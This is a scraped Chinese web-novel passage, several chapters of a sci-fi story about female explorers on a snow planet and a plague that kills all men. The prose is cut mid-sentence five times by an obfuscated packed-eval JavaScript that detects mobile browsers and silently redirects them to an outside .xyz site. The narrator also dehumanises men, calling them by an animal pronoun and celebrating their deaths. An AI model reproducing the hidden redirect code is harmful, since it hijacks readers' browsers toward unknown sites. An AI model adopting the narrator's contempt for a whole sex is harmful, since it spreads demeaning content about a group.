她们都停下脚步。站在那一块荒芜却完好的圆形广场中心,看着雪飘,看着雪停。 卡门举起扫描仪,片刻后却关掉了它:“这里没有生命反应,也没有热源……但有声音。” 风吹过断壁残垣的裂口,穿过倾倒的歌剧院屋顶,正好形成一串完美的自然谐振腔,低频共鸣反射回来,像人声吟唱。 莱拉低声提示:“本区域内探测到频谱类振荡,可能属于古代音乐算法自动演奏程序残存反应。” 露娜忽然脱下头盔,冒着违规的危险深吸了一口气——冷冽得像针,但没有毒性。莱拉的提醒从内部通讯响起:“注意,昼白表层空气中氧分子密度不足,建议三十秒内重新佩戴头盔。” 但露娜没理她,只闭上眼屏住呼吸—— “她在模拟《情书》开场,”莱利低声道,“博子模拟藤井树在雪地里失去呼吸的场景。” 莱利定定地注视着面前正仰头闭眼模拟死亡的青年,没过几秒,她干脆利落地摘下头盔,但并未与露娜做相同动作,而是只侧过脸,专注、安静地望着后者。 不知过了多久,露娜才缓缓睁眼,低下脑袋稍微转了转有些僵硬的脖子,随后转头看向卡门,像是下定了什么决心,她说:“我们在飞船上关太久了。” 卡门动了动手指,没吭一声却也随之摘下头盔、脱下手套,毫无顾忌地把它们都丢在雪地里,希尔德不明所以,但也跟着照做。 她们四个正站在一处塌落的半圆广场边缘,正下方是一座被雪层吞没的剧场遗迹,门楣斜倒在地,已经看不清当初的牌匾,星图残影还在头顶旋转,像一座永不关闭的天文台。 卡门看向露娜,心平气和问:“你想做什么?” 露娜对她的毫不犹豫显然有些许惊讶,不过须臾便随之散去,她弯了弯眼,没先回答,只挥了挥手,一道光粒从腕环中亮起,是舰内储存音频中一首陈旧曲子——来自某位船员的旧地球资料包。 “宇多田的《First Love》。”希尔德立马认出。 曲调轻柔,像在雪地上铺出一条小路。 “你们不觉得这个地方很适合跳舞吗?”露娜慢慢地说,“雪地、白房子……还有四个只要说‘你好吗’就能被这座星球记住无数世纪的人。”说到最后一句时她没忍住笑了下。 卡门没说同意还是不同意,只定定地看着她,声音混着风雪模模糊糊的,听不清任何情绪:“露娜,你太浪漫主义了。” 露娜耸耸肩,很无所谓:“地球都毁灭了,浪漫一下有什么关系?” 说完也不管有没有人回应,她自顾自脱下了手套,赤手插入雪中,与此同时,风停了,头顶是一整条静止的光环,宇宙像是正等待一场预言中的动作。 属于雪天的音乐依旧循环着,兴许是上帝怜惜,宇多田轻柔的嗓音并未受到风雪影响,仿若特意为这片雪星上的第一次舞会而独奏。 莱利突然按下了摄影装置。 “别停,”她说,“就跳吧,我会一直拍。” 于是露娜轻轻转了一圈,脚下雪地发出干脆的咯吱声,她像是在跳芭蕾,动作却故意带着荒诞滑稽,一种只为取悦自己的即兴舞步。 希尔德沉默地看了一会儿,也跟着走进了那片雪。她不太会跳舞,但她会走路,而在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634670|172620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这颗星球上,走路就已经像一场仪式。 风再次吹起。莱利举着相机,她把快门调成了模拟底片色调;镜头下,两个身穿探索服的女性在雪地中央旋转、奔跑、蹦跳,远处废墟做布景,残垣如舞台帷幕,极光像灯光师最后一次为她们聚光。 “你不去吗?”莱利侧头看向身旁盯着她相机的卡门。 后者只是笑,目光往上移,对上她的眼睛,将问题抛给她:“你呢?” 莱利一愣,只见卡门哈哈大笑,伸手绕过她将相机镜头调为全景拍摄,伸回手之际很自然而然地抓住她胳膊,轻轻一拉—— 莱利踉跄着被她拉进镜头里。 恰巧停在面前的露娜伸出了手。 莱利微微睁大了眼睛,头稍稍抬起,目光所至之处是她的安德蕾笑看着她。莱利嗫嚅着,一时之间大脑倏地空白一片,只能看见露娜后退了一步,微微屈膝,手悬在半空中向她摊开,声音轻轻的:“莱利,你愿意与我跳支舞吗?” 莱利只感觉自己的心脏被轻抓挠了下,这种感觉——希尔维,莱利想,当你注视着安德蕾时,你也有这种感受吗? 希尔维无法回答她,于是莱利向前一步,将自己的手轻轻搭在露娜掌心上,稍低下眼,注视着比自己矮一些的青年,眼里的情绪柔和了下来。 她应道:“好。” 卡门回头望去。 希尔德并未注意到这边,只微垂下眼,认认真真为自己跳舞,坦诚而言,她跳得并不标准,但每一步都踏得极轻,像不愿惊扰这被记忆凝冻的星球。 卡门笑了——是那种久违的、真实的笑意,然后跟了上去。 她们没有乐队,只有风和身后那个废弃的歌剧院。当《First Love》最后一个音落下时,那里的音乐系统似乎被某个早期触发程序重新唤醒,停顿一秒、两秒——响起了音符。 不是地球的旋律,也不是任何文明的典藏,但它节拍温柔,像曾经有人在这里举办过无声告别舞会。伴随着旋转、坠落、再爬起的她们,伴随着笑声、呼吸、风的摩擦音,音符像旧时母语被重新唤醒。 她们在雪中起舞。 没有舞台,只有一座星球的废墟与苍白夜空。 脚步踏在雪上的声音像是回应那遥远的呼唤:“你好吗——” 露娜低声回应,不知是回应哪句,也不知是否真有人听见:“我很好——” 她们围着广场旋转、跳跃、呼吸,一种无师自通的韵律感渐渐从个体间渗出,像是身体替她们写下从未讲出的自传: 我们曾在地球,我们曾失去一切; 但现在我们在跳舞; 我们还活着。 那一刻,没有人在记录历史,她们也只是在宇宙尽头的雪原上跳属于自己的第一支舞的女性。 雪越下越大。 广场边缘逐渐被吞没,风也涨了起来。莱拉开始催促:“请尽快返回——舱内冷却窗口已过临界——请尽快返回。” 但没有人动。 直到那首曲子最后一个音符响起,雪像一场慢动作的瀑布,在她们肩上、睫毛上、心跳的节奏里,缓慢落下。 卡门摘掉最后一个光点,将手按在碑石上,对通讯频道说:“听见了吗?这是我们到过这里的证明。” 她们没有带走任何东西,也没有打扰任何东西;她们只是跳了一个舞。 ——给所有未曾得到告别的星球。 6. - 昼白站 -E02 凯特停下脚步。 风雪在主遗迹入口前便戛然而止,隐约像是有什么东西在阻碍着,她视线往下移,只见被雪完全覆盖的裂谷。 索莱尔捂紧船长的大衣(顺带一提,她真的很好奇在地球毁灭前船长家是不是有个副业专门制作那种羽绒服的),感受到自己被暖意包裹着后很是满意地暗自点点头,接着低下头看着扫描图像一点点展开。 “这是个竖井,”索莱尔琢磨了下,谨慎选择用词,“但不是采矿用,也不是交通井……像是某种投射中枢。” 芙蕾雅在旁边盯着放大图,一边翻找她随身资料终端,一边提供猜测:“很像中东古文明的水井信号系统,但深度太不合理了。” 莱拉在她们耳机中低声播报:“光囊井,编号CB-1,初步识别为「语言—记忆—物种行为印记」的集中结构。该遗迹由十七层内嵌式半透结构构成,具备可逆识别性。” “可逆识别性?”索莱尔挑眉,“什么意思?” “即结构本身是能看懂你的理解过程的。” 芙蕾雅沉吟了一下,开始手动接入壁面字符群,用类神经语言包进行尝试解码。在此期间,凯特已经准备好了下降程序,转过头时还见她专心致志埋头苦干的样子不由得抽了下嘴角,再次深深意识到船长也要带孩子的。真可惜,她不是麻雀。念头转了又转,凯特也顺手将芙蕾雅提溜起转身跟上早已开始行动的索莱尔。 芙蕾雅就这样被猝不及防地提起,人还有点懵,只本能跟着抬起脑袋,对上恰巧低下头看向她的那双眼睛。 “船长……”她盯着她,“您眼睛真好看。” “……”凯特手一抖,险些将此人就这样甩出去,好在她迅速冷静了下来,只面露古怪地瞅了瞅她,再后很自然地松开她,语气平静道,“那你自己下去吧。” 芙蕾雅有些遗憾。 前面几层都没什么特殊情况,直到下到第七层,她们终于看见第一段昼白文档。 那是一个会变化的浮雕,在莱拉的辅助投影下,它从图形缓慢转化为一段视频,镜头略显陈旧古早。只见一个人影站在雪地上,似乎是在对着谁说话,身后是一片永不熄灭的云层。 紧接着她们从第七层走到第十一层,发现了第一处空白。不是遗迹损坏,而是纯粹的空,整面墙没有任何记录、符号与回音,只是茫茫的空,像雪,这点倒是跟这个星球符合了。 芙蕾雅幻视一圈:“像是有人故意抹掉了。” 莱拉安静了数秒后回复:“数据验证通过。此处原计划为第九记忆节点,所有数据在系统识别中被标记为自愿清空。” 凯特皱眉:“自愿?” “是的,主遗迹文明个体在特定时刻选择遗忘这段记忆,以语言系统完成抹除并传达给遗迹系统。该行为称为沉雪协议。” 索莱尔抬头:“这是一座自我编辑的大脑。” 芙蕾雅低声说:“不,是一座只保留愿意被记住的语言的神殿。” 她们的脚步在第十三层慢了下来。 这里的墙上浮现出一段完整的语言——是地球文。凯特惊讶了一瞬,倒不是因为内容,而是由于字体结构为楷体中文。旧地球联合系统标准字体。 ——我们终将离开, 但愿这一切被记录: 那些讲故事的声音, 以及愿意倾听的人。 芙蕾雅抬起眼,亮晶晶的眼睛里似乎有什么情绪,瞧不甚清:“这段话的尾注是地球逃亡前上传的数据包,船长,我们不是第一艘路过这里的船。” 莱拉在耳机中确认:“数据匹配成功。原始编号:AX-341-DP,源于地球方舟计划中的一艘试验船——宙话者号。” 凯特喃喃:“她们也来过这里……” 风又在遗迹深处呼啸起来,她们的灯光照出下方第十四层结构,那是一个泛着光的晶体状容器。莱拉判断这是一段未完成的语言,尚未被写下,尚未被说出。 芙蕾雅忽然有一种冲动,一种渴望共鸣、渴望与她们的先驱产生某种维系的冲动,于是她问,如果把我们的故事讲给她们听呢?她不知道自己为什么这样问,也许只是心里某个部分,某个强大又脆弱的部分,想要被这具遗迹唤醒。 索莱尔下意识看向凯特,后者只沉吟几秒便轻轻点头:“可以试试。” 于是她们围着那语言囊坐下,像夜晚围火的人群,但那并非火,而是上一批英勇的女性到来的痕迹。她们只是慢慢地讲,讲地球毁灭前的趣事,讲地球快要毁灭时她们是怎么组成七人团队飞上太空的,讲—— “我在船上偷偷学会了吹口哨,但没给人听过。” 船长这话一出,立即引得旁边俩人的目光,神情都是很统一的“你确定吗”,被盯得不自在的凯特皱皱眉,怀疑似的上扬起了眉眼。 索莱尔:“我们半夜聚众听过,船长。” 芙蕾雅忙撇清关系:“不是我的主意。” “……”凯特抽了抽嘴角,“想到是你们好像就没那么惊讶了。” “毕竟船长你警惕心一点都不高嘛。”索莱尔有理有据,还很不赞同地摇摇头,“这可不行,船长,你可是我们坚强的后盾。” 凯特:“……” 芙蕾雅:“虽然有时我们会在这个后盾背后打打闹闹,但您还是我们的后盾,船长。” 凯特:“……可以了。就记录到这里吧莱拉,上传的时候顺便把这一段废话剪掉。” 索莱尔哈哈大笑。 与此同时,语言囊内发出一束淡淡的光,像是回应,又像是沉默的理解,黑暗里,有某种无形的结构启动了。那是昼白遗迹深处最柔软的一部分,开始响应她们的声音。 她们离开语言囊后,晶体的光还在缓缓闪动,像是呼吸未止的心跳。 — 第十四层到第十五层之间的楼梯仅有十三级,是整座遗迹中最短的一段,石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634671|172620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面微微下沉,像被多次踩踏后自然磨损出的弧度。 凯特走在最前,头盔内忽然闪了一下,不是警报,更像是……识别错误。她顿了顿,试图重新调整显示对准点,却发现地图系统正在缓慢偏离,意识到不对劲的她迅速呼叫AI。 “莱拉,这里信号有干扰?” “并非外部干扰,经检测为结构内共鸣腔自动调频所致。” 凯特刚问出口就意识到一个问题:耳机里所有人的呼吸声全消失了。 她停住。 队伍也几乎同时意识到异常。 ——她们听不到对方了。 不是通信中断,而是语言失效。所有发出的声音,如同掉入水中,无声无息;不是没有说话,是说出来的声音不再产生意义。 反应迅速的芙蕾雅第一时间开始用手势比划:“口腔与耳蜗未受损,声带无阻,问题应为认知通道阻断。” 凯特立刻抬头,周围的墙体在这一层忽然呈现出一种奇怪的构造,像是软质发声体内部。这不是比喻,而是现实,墙面有轻微的弹性,像皮膜,又似鼓腔。她抬手触碰,指尖有一瞬像触碰了某种活体结构。 “记录暂停……记录暂停……” 莱拉的系统语音混入了她们的频道。凯特注意到她的语调发生了变化,像是在努力压制自我干扰。 “语言识别程序被迫重启……共鸣腔开启状态临界。建议立刻撤离第十五层。” 但她们已经陷进来了。 索莱尔忽然指向前方。墙体中部,一道缝隙微张,像呼吸一般,轻轻鼓动出一道微光,有点像《怪奇物语》中的逆世界洞口,但没那么恐怖粘腻。她们目光汇聚于此,仿佛被某种本能的记忆牵引,让人忍不住定定地望着它。 下一秒,那道缝隙开始说话,也或者说是,这并不是语言,而是「你」以为「你」正在听到语言的声音。 芙蕾雅听见一段航程记录员的声音,重复播放自己记录过的一段话,但语速微妙地变快,最后变成一种她从未说过的方言。 索莱尔听见旧地球北方某城市的童谣,是她儿时母亲唱过的,但歌词顺序完全混乱,像是梦里碎片。 凯特什么都没听到,或者说,她感觉自己的耳蜗溺在海里,海水不停涌入她的耳腔——甚至口腔,在这种愈发强烈的窒息感中,她听见自己模糊的声音吹着不成调的哨子。 “莱拉,”凯特勉力咬字,“关掉耳机内传输。” “无法执行命令。语言共鸣腔中,AI系统同样陷入错义自增状态。” 该死。凯特在内心骂了句脏话,不适感持续在耳腔鼻腔口腔翻涌,她想她从没这么讨厌过海。还好,她不是加勒比的杰克船长(没有说杰克船长不好的意思,要知道,她从小就看加勒比海上的麻雀长大),她也没生活在海里——是的,她没有接触过海,凯特顿住,微妙的疑问就像铺天盖地的海水汹涌而来。 那她为什么会感受到海? 7. - 昼白站 -E03 凯特决定先暂时放弃思考自己为什么会感觉到海这个问题。 毕竟也许是她看麻雀船长看多了自己也想当麻雀(虽然最后当了飞船船长,这个该用怎么形容,宇航员?),也或许只是这个地方想一出是一出分给她个能带来窒息感的随便什么东西(还好不是死海,她可闻不惯),总而言之,这个问题没必要纠结。 凯特看向身边两个青年,她们仍在不断尝试开口——你一句,我一句——但说出口的话语都在微妙的几秒停顿后,以某种错位声源从四周的墙壁、地板、甚至自己头盔的内部反馈回来。 那种感觉就像是……你说了话,话却没能出门,而是从自己身体的某个角落绕了一圈又回到你耳边,变形了,重复了,调高了某些音调。 索莱尔忽然蹲下捂住嘴,一副想笑又不敢笑的样子,没等其余两人开口询问就自顾自开始讲:“我刚刚说了句‘别紧张’,但听到的是我妈妈的声音在说‘别紧张’,她小时候教我骑车的时候说的那种语气。”她眨着眼睛,“我以为是幻觉。可她那句话是我小时候录下来的,录音带早就烧了啊。” 凯特严肃地点点头:“是回溯语言,我们的语音识别系统被污染了,莱拉应该正在自检。” 芙蕾雅则目光古怪:“你录下来干什么?索莱,我们同行也差不多一年了,没想到你居然有这种怪癖。” “……没那回事,”索莱尔摸摸鼻子,“当时只觉得明明妈妈是最紧张的那个,但她什么都没说,只是不断给我加油打气——的样子很好玩。”想了想,她继续说:“我想记录下来,但那时手边没有录像机也没有手机,就只能用妈妈前几天买的录像带。”说到最后,索莱尔的眼里泛出了些许忧伤。 芙蕾雅很识趣地没有再开玩笑,凯特同样,因而她们毫无例外都同时想到初次见到索莱尔的场景。那时脾气还没像现在收敛这么多的索莱尔看上去完全就是小狮子,也不哭不闹,只抬起头将那张显而易见写着“如果不接纳我那我就擅作主张不走了”类似潜台词的脸给她们看,面无表情却又执拗倔强。 芙蕾雅想了想,那时船长是什么反应呢?似乎也是像现在这样,插着兜不吭声,落在索莱尔身上的目光在某个瞬间悄声软化了。 芙蕾雅一直都知道凯特是个很容易心软的人,即便她们偶尔会称她为“大魔王二号”,大部分也是由于她不说话冷着脸的模样有凯特·布兰切特的气质,露娜则坚持认为她更像朱迪·科默。 “至少我们都能得出个结论,”卡门作总结,“船长和大魔王、朱迪、克里斯汀都是同一类人。” “同一类女人。” “吸引女人的女人。” “对。” 凯特刚一转头就对上芙蕾雅的迷之微笑,她愣了下,没忍住轻轻抖了下,注意到的后者迅速收起过于外露的情绪,只含蓄矜持地回视她。 凯特:…… 凯特:还是好怪。 好巧不巧,此时莱拉的声音终于断断续续插入频道:“系统检测到语言回环现象。语言已非线性响应。建议立即—— “建立即建立即建立即建立即——” 她的声音像是一个深夜电视购物广告反复播放的片段,永远卡在一句没说完的开头,然后,频道像被拧干的抹布,“噗”地一声消失。 注意力拉回的凯特试图手动切断频道,但她发现每个按键的声音,都在几秒后被模仿着弹回,不是音效,而是有人在模仿她按键的声音。甚至有几次,“哒哒”的响声变成了节奏更快的“哒哒哒哒”,像是某种笑话正在空气中被演奏。 索莱尔倏地出声:“这不是语言问题。” 确切来讲,这是语言之外的回音,正在模仿她们成为人类。 — 同一时刻,外部巡查小队仍在昏白的恒雪中摸索前进。 卡门走在前方,手中提着一把旧式热力切割器,在积雪冻结的门扉上轻轻划出一道缝,希尔德善后,身后跟着的两人则负责清理通道与维持信号。 突然,莱拉传来提示音:“检测到旧式逃生飞船能量标识,原始编号AX-341-DP,名为宙话者号。” 希尔德轻声重复了一遍:“宙话者?”她对这个名字有种陌生又熟悉的感觉。 身后的露娜和莱利对视了眼,她们都听说过这个名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634672|172620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,即地球毁灭当日失联逃生船之一,原本应载有七人,但记录显示信号在跃迁中段消失,目前下落不明。 “没道理出现在这里。”卡门按下频道,“它的跃迁坐标应该在三光年外。” 露娜没有说话,只稍微眯起眼向前走,望向那艘尾翼破损严重的船。莱利默不作声地在她身后跟着。露娜伸手敲了敲那尾翼,回应她的,是一声机械锁崩断的低响。 飞船舱门缓缓打开。 里面没有活人,只有积雪、冻结的空气和一台仍微微闪烁的语言记录终端。 卡门紧皱着眉:“这是线索……还是陷阱?” 检查完终端的莱利摇摇头:“无异常。” 卡门沉吟几秒,还是很谨慎地选择先询问莱拉是否可以识别,但耳机频道里像是有某种电线作碍,呲呲蹦出的动静让她没忍住皱眉,继续尝试呼唤也依旧得不到回应。 “是不是船长那边发生什么事了。”莱利流露出担心的情绪。 “不清楚。”卡门揉揉眉心,纵使自己同样因这个假设心神不宁也未有表现出来,而只不动声色地转移话题,“露娜,播放音频的时候小心点。” 露娜比了个ok的手势。 起先是沙沙声,紧接着一段女声缓慢响起,带着生硬不自然的停顿(像是被人有意抹掉了一样):“记录第四日,通话失败……句子会自己爬出来,它们咬我。但我不能……我是宙话者,我必须……讲完那个故事……讲完……存在。” 声音,与她们某个队友过于相似的声音。 卡门本能偏头看向旁边—— “希尔?!” 不知何时已然失去意识的青年悄声无息倒在雪地上,脸蛋压在厚雪上,露出的半边呈明显不正常的滚烫绯红,眼睛紧闭着,神情不安又痛苦。 莱利迅速蹲下身将人扶起来,头微偏,用窥镜上的检测器上下扫了眼,声音有一瞬凝固:“……体温太低了,有生命危险,卡门,必须马上告诉船长。” 船舱里,露娜的目光依旧停留在终端界面上,一行字迹悄然浮出。 ——01号记录员-Hilde(已死亡) 8. - 昼白站 -E04 几乎是在收到消息的那一刻,索莱尔迅速摁下紧急操作按钮将备用终端操控台唤醒,站着不方便操作她便索性跪下来并将微型操作台架到膝盖上,前后不过三四分钟,本断线的莱拉系统成功接上。 凯特弯下腰对着操控台发出指令:“此次任务暂时中止,莱拉,将紧急通道调出来。” “明白。” “索莱,与卡门保持好通讯,直到会面再中止,让她一有意外迅速通报。” “明白。” “芙蕾,将旧地球资料库中的宙话者号相关信息调出来并进行解析。”凯特顿了顿,低声道,“顺便将希尔的信息重新提取。” “好。” 外边薄暮沉下,昼白星的天幕呈现出一种不真实的灰蓝,像是积雪上倒映的旧幻灯片,带着旧时代摄影的颗粒感与胶片感。 希尔德醒来后看到的就是这副景色。不远处,废墟主穹顶还残留着语言腔的低频震荡,像潮水退后仍在耳边回响,她不知道那是什么声音,只觉得自己刚才的梦里也出现过这种声音,不,确切来讲,这种声响像是被碾碎那般轻轻植入她最底层潜意识里,无论梦到什么它也依旧不急不缓地垫在下边生根发芽。 希尔德有些费力地支起身坐直,旁边的芙蕾雅看到人醒了轻松了口气,同时伸手递给她一支预热过的液体能量管,她下意识接过,顿了顿,有些茫然无措地望着对方。 “莱利说你中途晕过去了。”芙蕾雅解释,“昼白星本身为弱氧星球,再加上你刚从冷冻舱那种地方出来……可以这么说,希尔,你的体质要比我们都弱一点。” 希尔德默不作声地喝完那支能量管,发了会呆,没有抬眼与芙蕾雅对视,只攥着手很小声地出声,像是在喃喃自语:“我给她们添麻烦了吗?” 那种感觉又来了,芙蕾雅想,那种——像是有什么东西径直往她心口处抓挠了下,毫无章法却又挠得人变成笨蛋。她叹了声气,定定望着面前自卑情绪外泄的青年——也许是少年,是的,希尔德是她们七人当中年纪最小的一个。 希尔德·福斯特并不是这艘飞船的最早成员,也不是最后一个登船的人,她是最晚一个「被加入」的。直到现在,芙蕾雅一想到船长带着她们闯入那栋以某种不合法方式被强制进行基因解体的实验室里胃里就像有什么东西在翻涌。 即便是在旧地球毁灭前,女性的社会地位依旧没有根本性变革,傲慢自大的父权领导阶层也依旧在那放什么平权主义狗屁理论,更别提某些自持中立派的性别主义者整天嚷嚷当代女权运动矫正过头了太极端太过激了这样不行那样不行。用安吉拉·卡特的话来讲,无一不是鸽子放屁。 以至于在地球即将毁灭的那几天,女人们首先秉持着“啊要灭亡了”这种念头稍微惋惜了下,后又欢天喜地各自开香槟庆祝这个狗屁父权社会终于要灭亡啦!当然,这个时候可能就要有人问了,说女人们这可是地球毁灭啊你们不要命了吗?没关系,没关系,产生这种疑问是必然的,所以我将告诉你她们为何那么淡定。 首先,所谓地球毁灭完全是条悖论。 2079年3月8日,北半球最大同性恋自由保护城(原为全球LGBTQ+社群圣地)确证第一项病例:一对男男恋者。当然,MSM在统计学上感染某些性传播疾病(包括HIV/AIDS)很普遍广泛,但这对病人所呈现出的感染症状与任何疾病都不挂钩,再加上之后确诊这种病症的均为男性GAY,又因涉及到政治敏感群体,高层刻意低调处理。 牠们起先将病症重心聚焦在MSM上,因而在2079年3月到2080年6月此阶段内确诊的毫无例外都为此群体,专家几次讨论后都认为只是性传播疾病再度添加一类,之后的报道也都无一例外集中在性行为保护措施上,并着重强调无论是哪种性别措施都要做到位。 可惜,二阶段感染期便证明牠们想错了。 2080年7月,病毒向全体Y染色体人群蔓延。普遍异性恋男性确诊此类病症,男婴出生即显症,病程快速,3-7日内便能导致牠们脑干退化、语言能力迅速丧失(语义记忆崩溃,无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634673|172620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解任何日常词汇,对名字、熟悉物体失去辨识)、意识脱网、体温降低到30℃以下(接近冬眠状态)……最后一日,牠们的脑组织开始信息自溶,即完全失去个体认知与所有存在感知,直至死亡。 在这种情况下,女性依旧无一人出现类似症状,有科学家提出性别生物免疫假说,但立刻被政治审查,同一时刻,官方发布“双性别高致死病毒”相关报道:此疫无性别倾向,男女皆可感染,只是女性潜伏期更长,请全部人口立刻接受统一监控与隔离。 后来有人在论坛上指出官方发布这条信息不过是防止女性群体发现真相罢了。 这条论坛博文迅速被政府封锁,发布者(女性)也在同一时刻被逮捕,这个消息传出去后大部分女性都提出尖锐的质问,牠们搁置不理,转头却是对女性工作人员进行大规模捕猎、逮捕,同时封锁女性免疫等相关数据。 好在即便是在这种情况下,女性之间也依旧通过非联网设备等互相奔波告知,不忘提醒彼此注意生命安全。 直至2081年四月,全球男性人口骤降70%,军政体系全面瘫痪,牠们无法再维持人口结构、技术运行与资源分配等,之前专门逮捕女犯罪者(牠们对她们的不成文称呼)的男性早已死的死快死的也快死了。同样,这项疾病也有了正式名称—— The Y Plague(简称为Y疫) 所以我们又得回到前面那个问题了。为什么地球毁灭是个悖论呢?答:因为真正被毁灭的不是地球,而是Y染色体,即男性。 所谓传出地球毁灭这种假说的无非是Y染色体们不信只有自己这个群体会被毁灭,是的,这就是千百年来(甚至远远不止)男性的通病。牠们总想在自己被毁灭前将女人拖下水,为什么呢?好疑问。伟大的上野千鹤子早在《厌女》一书中总结过了。 男性本根厌女,而厌女本质为渴女,牠们从始至终都在这种状态中生存,社会从未给过牠们相反的理论,牠们无忧无虑无拘无束——对的,无拘无束。所以死得也要无拘无束。 9. - 昼白站 -E05 男性对于任何在牠们眼里具有威胁地位的事物感到恐惧,正如牠们从未认真设想过“啊为什么得这种病只有男人难道我们做错什么了吗”,而只是对女人居然不会死这个事实感到愤怒、忮忌与荒谬。在全球男性人口暴跌到20%时,牠们在匿名网站上发布极端不平言论(可惜那些有一定地位的男性都死得差不多了没人理会),仅剩10%后,牠们意识到不能再这样下去了,于是像发情的公狗(没有蔑视狗狗的意思)一样满大街寻找异性以繁殖下一代为由试图逃避死亡,因而牠们觉得XX染色体可以掩住Y的既定事实。 看到这里你可能会诧异男人难道是蠢货吗都死到临头了还在这畅想性行为就能避免死亡未免也太不符合实际了,没关系,首先这本就是虚构作品,二是男人确实都这么蠢。 当然,你也可能会担忧女性安全,我得欣慰地说一句想到这个的你很温柔,但不用担心,我亲爱的女孩、女人们,不知你们是否有看过《The Power》?中文译名为电击少女,在这里我得插一句以用于回答前面男人难道是蠢货吗这个问题,真是不好意思,我承认我有些偏激了,男人的确不是都这么蠢,毕竟用某些手段将原先为激励女性而创作出的作品进行幼齿化翻译,从而让本该是它受众的女性避而远之——这种方法不是太擅作主张的“聪明”吗? 又扯远了。之所以提到《The Power》当然不是因为现实中女性也发现了某种超能力,而是她们意识到:父权时代已经结束了。 男人们一个接着一个死亡,政府倒塌前被女性接过大权职位,怕死怕得要死的男性蜷缩在家中悄声无息,原先在职场上被男性占位的女人们驾驶着机器扛起砖块搭建起只属于她们的建筑,没人在乎男人,没人继续研究如何医治Y疫,反正牠们七日内必死无疑,再者,救活那些明明从女人胯//下诞生却能毫不留情压迫她们的玩意对她们有什么好处吗?没有。 即便地球最终会自我毁灭,至少在最后一刻,活着的也只有我们。 不受压迫的我们。 — “我一直都记得第一次见到你的样子。”芙蕾雅注视着希尔德的眼睛,似乎是在组织语言,开口的声音很轻很缓,“你手里拿着刀,将其她人保护在身后。” 苟延残喘的男性在最后一刻也试图掠夺本就不属于牠们的东西,秉持着都这样了如果再不行的话要死就一起死这种念头将年纪尚小的女孩当作实验品绑去,希尔德是其中之一。 Y疫没有像《The Power》一样赋予女性任何物理超能力,但也终于没有任何异性教导她们要温顺乖巧(毕竟都死了),于是增强自身体脂率便成了家家户户的必需目标,为的就是遇上那些极端男性时自己不是手无缚鸡之力。 因此,认定年纪小的就好掌控这个说法完全是悖论。毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634674|172620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希尔德一从昏迷状态中醒来就立即喊醒旁边同被绑来的女孩将那些都快死了还不给自己选个墓碑的玩意儿反揍了,当然不忘护着年纪实在过小的孩子。 笑话,现在的女人可都拥有强壮的肌肉。 “你没有给她们带来麻烦,希尔。”芙蕾雅轻轻抚摸着希尔德的脑袋,就像是抚摸某种尖锐却又脆弱的生物,声音很轻,“相反,她们——我们都想感谢你,或许你从未觉得自己做了一件极其重要的事,可我们都看得见,希尔,我们不仅看见了,还始终都记得。” 希尔德有些仓促地稍微转了下脸,好半天才小声咕哝一句,说“没那么夸张”。 芙蕾雅弯了弯眼。 “的确有那么夸张,希尔。”芙蕾雅双手捧起她的脸,如视珍宝那般,蓝眼睛始终温和平静地注视着她,“你坚毅、勇敢、无畏,这些都是很平常的词,可正因为是你,它们就有了意义。” 希尔德有点点脸红了。 